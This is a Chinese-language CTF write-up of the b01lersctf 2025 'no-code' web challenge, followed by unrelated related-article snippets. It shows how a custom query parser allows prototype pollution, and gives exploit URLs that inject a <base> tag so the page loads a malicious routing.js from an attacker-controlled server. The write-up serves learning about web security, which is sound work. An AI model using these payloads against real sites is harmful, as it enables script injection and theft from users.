当前位置: 首页 > article >正文

js原型污染 + xss劫持base -- no-code b01lersctf 2025

题目信息:Found this new web framework the other day—you don’t need to write any code, just JSON.

我们先来搞清楚究竟发生了什么

当我们访问 /index

/*** 处理 /:page 路径的 GET 请求* @param {Object} req - 请求对象* @param {Object} reply - 响应对象* @returns {Promise<string>} - 替换后的 HTML 页面内容*/
fastify.get("/:page", async (req, reply) => {// 获取请求的页面名称,默认为 indexconst page = req.params.page || "index";// 检查页面名称是否合法if (!/^\w+$/.test(page)) {// 页面名称不合法,返回 400 状态码和错误信息reply.code(400);return { err: "invalid page" };}// 设置 Content-Security-Policy 响应头reply.header("content-security-policy",`require-trusted-types-for 'script'; trusted-types 'none'`);// 设置响应内容类型为 text/htmlreply.type("text/html");// 异步获取页面数据并转换为 JSON 字符串,同时转义 < 字符const initial = JSON.stringify(await getPage(page, req.query)).replace(/</g, "\\x3c");// 读取 index.html 文件并替换其中的 {{initial}} 占位符return (await fs.readFile("index.html")).toString().replace(/\{\{initial\}\}/g, initial);
});

首先,对应路由的模板将被在getPage转换为对象

/*** 异步获取页面数据并替换模板占位符* @param {string} page - 页面名称* @param {Object} props - 用于替换占位符的键值对对象* @returns {Promise<Object>} - 处理后的页面数据*/
async function getPage(page, props) {// 异步读取页面的 JSON 文件并解析为对象const pageDocument = JSON.parse((await fs.readFile(`./pages/${page}.json`)).toString());// 替换页面数据中的所有模板占位符return replaceAllProps(pageDocument, props);
}

我们输入的参数会被自定义函数处理

/*** 解析扩展的查询字符串,支持嵌套参数* @param {string} query - 需要解析的查询字符串* @returns {Object} - 解析后的查询参数对象*/
function parseQuery(query) {// 移除查询字符串开头的问号query = query.replace(/^\?/, "");// 将查询字符串按 & 分割成参数数组const params = query.split("&");const result = {};// 遍历参数数组for (const param of params) {// 将每个参数按 = 分割成键值对,并对其进行 URI 解码const [key, value] = param.split("=").map(decodeURIComponent);// 如果键包含 [,说明是嵌套参数if (key.includes("[")) {// 将键按 [ 分割成多个部分,并移除每个部分末尾的 ]const parts = key.split("[").map((part) => part.replace(/]$/, ""));let curr = result;// 遍历除最后一个部分外的所有部分for (let part of parts.slice(0, -1)) {// 如果当前对象中不存在该部分对应的属性,则创建一个空对象if (curr[part] === undefined) {curr[part] = {};}// 将当前对象指向该属性curr = curr[part];}// 将值赋给最后一个部分对应的属性curr[parts[parts.length - 1]] = value;} else {// 普通参数,直接赋值result[key] = value;}}return result;
}

此处存在原型污染漏洞

输入:?filter[date][from]=2023-01-01&filter[date][to]=2023-12-31
输出:{filter: {date: {from: "2023-01-01",to: "2023-12-31"}}
}

解析后的参数对象一同与模板对象进入replaceAllProps,replaceAllProps遍历每个属性的v放入replaceProps来替换模板

/*** 递归替换对象中的所有模板占位符* @param {Object|any} obj - 需要处理的对象或值* @param {Object} props - 用于替换占位符的键值对对象* @returns {Object|any} - 处理后的对象或值*/
function replaceAllProps(obj, props) {// 如果 obj 不是对象,则直接返回if (typeof obj !== "object") {return obj;}// 如果 obj 有 attributes 属性,则替换其中的占位符if (obj.attributes !== undefined) {obj.attributes = Object.fromEntries(Array.from(Object.entries(obj.attributes)).map(([key, value]) => [key,replaceProps(value, props),]));}// 如果 obj 有 text 属性,则替换其中的占位符if (obj.text !== undefined) {obj.text = replaceProps(obj.text, props);}// 如果 obj 有 children 属性,则递归处理每个子对象if (obj.children !== undefined) {obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));}return obj;
}

在此函数中进行替换

/*** 替换字符串中的模板占位符* @param {string} s - 包含模板占位符的字符串* @param {Object} props - 用于替换占位符的键值对对象* @returns {string} - 替换后的字符串*/
function replaceProps(s, props) {// 遍历键值对对象for (const [key, value] of Object.entries(props)) {// 使用正则表达式替换所有匹配的占位符s = s.replace(new RegExp(`{{${escapeRegex(key)}}}`, "g"), value);}// 移除所有未替换的占位符s = s.replace(/{{\w+}}/g, "");return s;
}
// 输入模板
const template = "欢迎{{user}},今天是{{day}},剩余{{credit}}积分";// 替换参数
const params = { user: "张三", day: "星期一",// 注意:credit 参数未提供
};// 执行替换
replaceProps(template, params); 
// 输出:"欢迎张三,今天是星期一,剩余积分"

当处理完成后,所有的<都会被转义,并被插入index.html的{{initial}}

<!DOCTYPE html>
<html><head><meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><title>Writeups</title><meta name="viewport" content="width=device-width, initial-scale=1" /></head><body><div id="content"></div><script>const initial = {{initial}};</script><script src="/scripts/utils.js"></script><script src="/scripts/load.js"></script><script src="/scripts/routing.js"></script></body>
</html>

然后在前端转换为html

/*** 将JSON对象转换为DOM元素。* @param {Object|string} json - 表示DOM结构的JSON对象,或者是一个字符串。* @returns {Node} - 转换后的DOM节点。*/
function jsonToDom(json) {// 如果传入的json是字符串,则创建一个文本节点if (typeof json === "string") {return document.createTextNode(json);}// 解构json对象,获取标签名、文本内容、属性和子节点const { tag, text, attributes, children } = json;// 创建指定标签名的DOM元素const element = document.createElement(tag);// 如果存在文本内容,则设置元素的文本内容if (text !== undefined) {element.textContent = text;}// 如果存在属性,则遍历属性对象并设置元素的属性if (attributes !== undefined) {for (const [key, value] of Object.entries(attributes)) {element.setAttribute(key, value);}}// 如果存在子节点,则递归调用jsonToDom函数并将结果添加到元素中if (children !== undefined) {for (const childJson of children) {element.append(jsonToDom(childJson));}}return element;
}
// JSON输入示例
const template = {tag: "div",attributes: { class: "card" },children: [{tag: "h2",text: "用户信息",attributes: { id: "user-title" }},{tag: "p",children: ["姓名:",{tag: "span",text: "张三",attributes: { class: "username" }}]}]
};// 转换为DOM元素
const cardElement = jsonToDom(template);// 最终生成的DOM结构:
/*
<div class="card"><h2 id="user-title">用户信息</h2><p>姓名:<span class="username">张三</span></p>
</div>
*/

我该如何利用原型污染,进行xss?

似乎并模板中并没有.text,

http://127.0.0.1:8000/?__proto__[text]=A5rZ

似乎所有没有text,的children都拥有了text

<!DOCTYPE html>
<html><head><meta charset="utf-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge"/><title>Writeups</title><meta name="viewport" content="width=device-width, initial-scale=1"/></head><body><div id="content"></div><script>const initial = {"tag": "div","attributes": {},"children": [{"tag": "link","attributes": {"rel": "stylesheet","href": "/static/styles.css"},"text": "A5rZ"}, {"tag": "header","attributes": {"class": "home-header","id": "home"},"children": [{"tag": "div","attributes": {"class": "container"},"children": [{"tag": "h1","attributes": {},"text": "John Smith"}, {"tag": "p","attributes": {},"text": "Web Developer | Software Engineer | Problem Solver"}, {"tag": "p","attributes": {},"text": "Specializing in building high-quality web applications and solutions."}, {"tag": "a","attributes": {"href": "about","class": "btn"},"text": "Learn More About Me"}, " ", {"tag": "a","attributes": {"href": "projects","class": "btn"},"text": "View My Projects"}],"text": "A5rZ"}],"text": "A5rZ"}, {"tag": "footer","attributes": {},"children": [{"tag": "div","attributes": {"class": "container"},"children": [{"tag": "p","attributes": {},"text": "© 2025 John Smith. All rights reserved."}, {"tag": "a","attributes": {"href": "index"},"text": "Home"}, " | ", {"tag": "a","attributes": {"href": "about"},"text": "About"}, " | ", {"tag": "a","attributes": {"href": "projects"},"text": "Projects"}, " | ", {"tag": "a","attributes": {"href": "contact"},"text": "Contact"}],"text": "A5rZ"}],"text": "A5rZ"}],"text": "A5rZ"};</script><script src="/scripts/utils.js"></script><script src="/scripts/load.js"></script><script src="/scripts/routing.js"></script></body>
</html>

这是否意味着我也为每个没有children的children获得原型的children

http://127.0.0.1:8000/?__proto__[children]=A5rZ
<!DOCTYPE html>
<html><head><meta charset="utf-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge"/><title>Writeups</title><meta name="viewport" content="width=device-width, initial-scale=1"/></head><body><div id="content"></div><script>const initial = {"tag": "div","attributes": {},"children": [{"tag": "link","attributes": {"rel": "stylesheet","href": "/static/styles.css"},"text": "A5rZ","children": ["A", "5", "r", "Z"]}, {"tag": "header","attributes": {"class": "home-header","id": "home"},"children": [{"tag": "div","attributes": {"class": "container"},"children": [{"tag": "h1","attributes": {},"text": "John Smith","children": ["A", "5", "r", "Z"]}, {"tag": "p","attributes": {},"text": "Web Developer | Software Engineer | Problem Solver","children": ["A", "5", "r", "Z"]}, {"tag": "p","attributes": {},"text": "Specializing in building high-quality web applications and solutions.","children": ["A", "5", "r", "Z"]}, {"tag": "a","attributes": {"href": "about","class": "btn"},"text": "Learn More About Me","children": ["A", "5", "r", "Z"]}, " ", {"tag": "a","attributes": {"href": "projects","class": "btn"},"text": "View My Projects","children": ["A", "5", "r", "Z"]}],"text": "A5rZ"}],"text": "A5rZ"}, {"tag": "footer","attributes": {},"children": [{"tag": "div","attributes": {"class": "container"},"children": [{"tag": "p","attributes": {},"text": "© 2025 John Smith. All rights reserved.","children": ["A", "5", "r", "Z"]}, {"tag": "a","attributes": {"href": "index"},"text": "Home","children": ["A", "5", "r", "Z"]}, " | ", {"tag": "a","attributes": {"href": "about"},"text": "About","children": ["A", "5", "r", "Z"]}, " | ", {"tag": "a","attributes": {"href": "projects"},"text": "Projects","children": ["A", "5", "r", "Z"]}, " | ", {"tag": "a","attributes": {"href": "contact"},"text": "Contact","children": ["A", "5", "r", "Z"]}],"text": "A5rZ"}],"text": "A5rZ"}],"text": "A5rZ"};</script><script src="/scripts/utils.js"></script><script src="/scripts/load.js"></script><script src="/scripts/routing.js"></script></body>
</html>

这似乎是可能的

http://127.0.0.1:8000/?__proto__[children][tag]=h1&__proto__[children][attributes][style]=color: red&__proto__[children][text]=A5rZ

但是当我尝试更多的时候,这些属性就不会被合并

赛后 ------------------------------------------------------------------------------------------------------------

在 replaceAllProps 函数中,60行的 obj.children 赋值逻辑要求 children 必须是数组类型。即使成功注入原型污染,如果注入的不是数组结构,也会导致处理中断:

// ... existing code ...
if (obj.children !== undefined) {obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));
}
// ... existing code ...

注意 array[]必须拥有 length,所以我们必须添加length加以伪装

http://127.0.0.1:8000/?__proto__[children][0][tag]=test&__proto__[children][length]=1

HTML <base> 标签解析

<base> 是 HTML 的根路径定义标签,主要用于:

  1. 基准URL设置
    href 属性指定文档中所有相对URL的根路径:
<base href="https://example.com/">
  1. 默认打开方式
    target 属性定义所有链接的默认打开方式(如 _blank 新窗口)

接下来,我们可以劫持base

http://127.0.0.1:8000/?__proto__[children][0][tag]=base&&__proto__[children][0][attributes][href]=http://127.0.0.1&__proto__[children][length]=1

接下来在我们的本地服务器中 /scripts/routing.js 中放置恶意脚本,因为base被篡改,/routing.js将从我们的服务器中被加载并执行

<!DOCTYPE html>
<html><head><meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><title>Writeups</title><meta name="viewport" content="width=device-width, initial-scale=1" /></head><body><div id="content"></div><script>const initial = {{initial}};</script><script src="/scripts/utils.js"></script><script src="/scripts/load.js"></script><script src="/scripts/routing.js"></script></body>
</html>

相关文章:

js原型污染 + xss劫持base -- no-code b01lersctf 2025

题目信息:Found this new web framework the other day—you don’t need to write any code, just JSON. 我们先来搞清楚究竟发生了什么 当我们访问 /index /*** 处理 /:page 路径的 GET 请求* param {Object} req - 请求对象* param {Object} reply - 响应对象* returns {Pro…...

力扣92.反转指定范围内的链表、25.k个一组反转链表

92.反转指定范围内的链表 /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode next;* ListNode() {}* ListNode(int val) { this.val val; }* ListNode(int val, ListNode next) { this.val val; this.next next;…...

Python - 爬虫;Scrapy框架(一)

框架&#xff0c;就相当于一个封装了很多功能的结构体&#xff0c;它帮我们把主要的结构给搭建好了&#xff0c;我们只需往骨架里添加内容就行。 Scrapy是适用于Python的一个快速、高层次的屏幕抓取和web抓取框架&#xff0c;用于抓取web站点并从页面中提取结构化的数据。Scra…...

The 2024 ICPC Kunming Invitational Contest G. Be Positive

https://codeforces.com/gym/105386/problem/G 题目&#xff1a; 结论&#xff1a; 从0开始每四个相邻数的异或值为0 代码&#xff1a; #include<bits/stdc.h> using namespace std; #define int long long void solve() {int n;cin >> n;if(n1||n%40){cout &…...

GET请求如何传复杂数组参数

背景 有个历史项目&#xff0c;是GET请求&#xff0c;但是很多请求还是复杂参数&#xff0c;比如&#xff1a;参数是数组&#xff0c;且数组中每一个元素都是复杂的对象&#xff0c;这个时候怎么传参数呢&#xff1f; 看之前请求直接是拼接在url后面 类似&items%5B0%5D.…...

leetcode - 双指针问题

文章目录 前言 题1 移动零&#xff1a; 思路&#xff1a; 参考代码&#xff1a; 题2 复写零&#xff1a; 思考&#xff1a; 参考代码&#xff1a; 题3 快乐数&#xff1a; 思考&#xff1a; 参考代码&#xff1a; 题4 盛最多水的容器&#xff1a; 思考&#xff1a;…...

人工智能之数学基础:二次型

本文重点 二次型作为线性代数领域的重要概念,架起了代数方程与几何分析之间的桥梁。从古典解析几何中的圆锥曲线方程到现代优化理论中的目标函数,二次型以其简洁的数学表达和丰富的结构特性,在数学物理、工程技术和经济金融等领域发挥着不可替代的作用。 二次型的基本概念…...

存储过程补充——流程控制语句详解

文章目录 1. 条件判断语句1.1 分支结构之 IF1.2 分支结构之 CASE 2. 循环语句2.1 循环结构之LOOP2.2 循环结构之WHILE2.3 循环结构之REPEAT 3. 跳转语句3.6 跳转语句之LEAVE语句3.7 跳转语句之ITERATE语句 在数据库管理系统中&#xff0c;存储过程是一种强大的工具&#xff0c;…...

【Unity笔记】实现支持不同渲染管线的天空盒曝光度控制组件(SkyboxExposureController)——参数化控制

写在前面 在Unity中&#xff0c;天空盒&#xff08;Skybox&#xff09;不仅承担视觉上的背景作用&#xff0c;更是场景环境光照与氛围塑造的重要组成部分。不同时间、天气、场景转换等&#xff0c;都需要灵活调整天空的亮度。而**曝光度&#xff08;Exposure&#xff09;**就是…...

Docker 使用与部署(超详细)

目录 引入 入门使用 部署对比 镜像仓库 命令解释 基础 常见命令 示例 数据卷的使用 数据卷的概念 数据卷的使用 挂载本地目录文件 镜像 结构 Dockerfile 容器网络 部署 DockerCompose 语法 ​编辑 基础命令 引入 当我们在 Linux 上部署一个集成了很多中间件…...

CSS实现图片垂直居中方法

html <div class"footer border-top-row"><div class"footer-row"><span class"footer-row-col01">制单人&#xff1a;{{ printData[pageIndex - 1].rkMaster.makerName}}<img :src"getPersonSignImgSrc(printData[pa…...

C#实现Socket通信:基于TCP/IP协议的网络编程

TCP/IP网络模型 最上层的是应用层&#xff0c;也就是我们日常可以接触到的&#xff0c;它会给数据添加对应的头部&#xff0c;并传输给传输层&#xff0c;应用层是我们日常会接触到的&#xff0c;比如HTTP&#xff0c;FTP&#xff0c;Telnet&#xff0c;DNS&#xff0c;SMTP。…...

基于C++的IOT网关和平台7:github项目ctGateway设备协议开发指南

初级代码游戏的专栏介绍与文章目录-CSDN博客 我的github:codetoys,所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。 这些代码大部分以Linux为目标但部分代码是纯C++的,可以在任何平台上使用。 源码指引:github源码指引_初级代码游戏的博客-CSDN博客 系…...

大数据实时数仓的数据质量监控解决方案

实时数仓不仅仅是传统数据仓库的升级版,它更强调数据的实时性、流动性和高可用性,通过对海量数据的即时处理和分析,为企业提供近乎实时的洞察力。这种能力在金融、零售、制造、互联网等行业中尤为关键,例如,电商平台可以通过实时数仓监控用户行为,动态调整推荐算法;金融…...

Python+Scrapy跨境电商爬虫实战:从亚马逊/沃尔玛数据采集到反爬攻克(附Pangolin API高效方案)

从零实战到反爬攻克&#xff0c;揭秘跨境数据抓取全流程与Pangolin Scrape API终极方案 在当今数据驱动的跨境电商时代&#xff0c;谁掌握了优质的市场数据&#xff0c;谁就掌握了成功的关键。随着全球电商市场规模持续扩大&#xff08;据Statista最新报告显示&#xff0c;2025…...

简单快速的浮点数转字符串算法,适合单片机环境

目的是在OLED 屏幕上显示浮点数&#xff0c;有几个设计要求&#xff1a; 我已经有一个现成的能显示整数的函数&#xff0c;希望尽量复用&#xff1b;尽量不使用除法&#xff1b;不需要考虑小数四舍五入的问题&#xff1b; 我觉得小数四舍五入其实很多时候没什么用处&#xff…...

c++中构造对象实例的两种方式及其返回值

c中&#xff0c;构造对象实例有两种方式&#xff0c;一种返回对象实例&#xff0c;一种返回该对象实例的指针。如下所示&#xff1a; 一、两种返回值 RedisConn conn1; //得到实例conn1;RedisConn *conn2 new RedisConn();//得到指针conn2;RedisConn conn3 new RedisConn()…...

Python实例题:Python操作excel自动化开发

目录 Python实例题 题目 安装依赖库 示例代码 代码解释 写入 Excel 文件&#xff1a; 读取 Excel 文件&#xff1a; 修改 Excel 文件&#xff1a; 运行思路 注意事项 Python实例题 题目 Python操作excel自动化开发 安装依赖库 pip install openpyxl示例代码 imp…...

【日撸 Java 三百行】Day 7(Java的数组与矩阵元素相加)

目录 Day 7&#xff1a;Java 的数组与矩阵元素相加 一、基本知识 二、矩阵的建立与基本计算 三、代码及测试 拓展&#xff1a;Arrays类详解 小结 Day 7&#xff1a;Java 的数组与矩阵元素相加 Task&#xff1a; 矩阵的赋值.二重循环. 一、基本知识 在学习 Java 中的数组与矩…...

【Python】常用命令提示符

Python常用的命令提示符 一、Python环境基础命令【Windows】 于Windows环境下&#xff0c;针对Python&#xff0c;在CMD&#xff08;命令提示符&#xff09;常用的命令以及具体用法&#xff0c;怎么用&#xff1b;   主要包含&#xff1a;运行脚本、包管理、虚拟环境、调试与…...

vite:npm 安装 pdfjs-dist , PDF.js View 预览功能示例

pdfjs-dist 是 Mozilla 的 PDF.js 库的预构建版本&#xff0c;能让你在项目里展示 PDF 文件。下面为你介绍如何用 npm 安装 pdfjs-dist 并应用 pdf.js 和 pdf.worker.js。 为了方便&#xff0c;我将使用 vite 搭建一个原生 js 项目。 1.创建项目 npm create vitelatest pdf-v…...

【开源版】likeshop上门家政系统PHP版全开源+uniapp前端

一.系统介绍 likeshop_上门家政系统&#xff0c;PHP版本更新至2.1.1最新版&#xff0c;全开源&#xff0c;适用于上门家政场景&#xff0c;系统拥有用户端、师傅端、无论运营还是二开都是性价比极高的100%开源家政系统。 二.搭建环境-教程 系统环境&#xff1a;CentOS、 运行…...

html object标签介绍(用于嵌入外部资源通用标签)(已不推荐使用deprecated,建议使用img、video、audio标签)

文章目录 HTML <object> 标签详解基本语法与核心属性关键属性解析1. **data**2. **type**3. **width & height**4. **name** 嵌入不同类型的资源1. **嵌入图像**2. **嵌入音频**3. **嵌入视频**4. **嵌入 PDF** 参数传递与回退内容**参数&#xff08;<param>&a…...

MySQL 8.0 OCP 英文题库解析(一)

Oracle 为庆祝 MySQL 30 周年&#xff0c;从 2025.04.20 ~ 2025.07.31 之间&#xff0c;所有人均可以免费考取 MySQL OCP 认证。从今天开始&#xff0c;将英文题库免费公布出来&#xff0c;并进行解析&#xff0c;帮助大家在一个月之内轻松通过OCP认证&#xff0c;省1700多RMB&…...

路由器断流排查终极指南:从Ping测试到Wireshark抓包5步定位法

测试路由器是否出现“断流”&#xff08;网络连接间歇性中断&#xff09;&#xff0c;需通过多维度排查硬件、软件及外部干扰因素。以下是详细步骤指南&#xff1a; 一、基础环境准备 设备连接 有线测试&#xff1a;用网线将电脑直接连接路由器LAN口&#xff0c;排除WiFi干扰。…...

【Python零基础入门系列】第1篇:Python 是什么?怎么装环境?推荐哪些 IDE?

各位网友们,欢迎来到我的 Python 学习专栏! 前两天看到新闻英伟达为 CUDA 添加原生 Python 支持,意味着开发者可直接用 Python 操作 GPU,加速 AI 和高性能计算,降低门槛,让 Python 的应用范围更广、能力更强。 一直想写一系列文章教知友们从零开始学会 Python 编程,目…...

Spring Boot3 实现定时任务 每10分钟执行一次,同时要解决分布式的问题 区分不同场景

在Spring Boot 3中实现分布式定时任务&#xff0c;确保多实例环境下任务仅执行一次&#xff0c;可以采用以下方案&#xff1a; 方案一&#xff1a;Redis分布式锁&#xff08;推荐&#xff09; import org.springframework.data.redis.core.StringRedisTemplate; import org.sp…...

04 基于 STM32 的时钟展示程序

前言 我们经常会看到 各个场合下面有 基于数码管 的时钟程序 比如 在车站, 教室, 办公室 等等 各个场合都有 然后 这里就是做一个 简单的 时钟程序 展示程序 测试用例 每一秒钟更新时间, 然后 迭代更新 天, 时, 分 等等 然后 主流程 基于 天, 时分秒 渲染数码管 #incl…...

n8n工作流自动化平台:生成图文并茂的分析报告之Merge节点详细说明

1.成果展示 1.1工作流示意图 1.2成果 数据都是造得 2Merge节点 2.1Mode 通过选择模式指定合并节点应如何组合来自不同数据流的数据 2.1.1Append 保存所有输入的数据。选择一个输入数量,逐一输出每个输入的项目。节点等待所有连接的输入的执行。 2.1.2Combine 2.1.2.1Co…...

华为设备MSTP

一、MSTP核心理论 1. 基本概念 MSTP定义&#xff1a;MSTP&#xff08;Multiple Spanning Tree Protocol&#xff09;是一种基于实例的生成树协议&#xff0c;支持多个生成树实例&#xff08;MSTI&#xff09;&#xff0c;每个实例对应一组VLAN&#xff0c;实现不同VLAN流量的负…...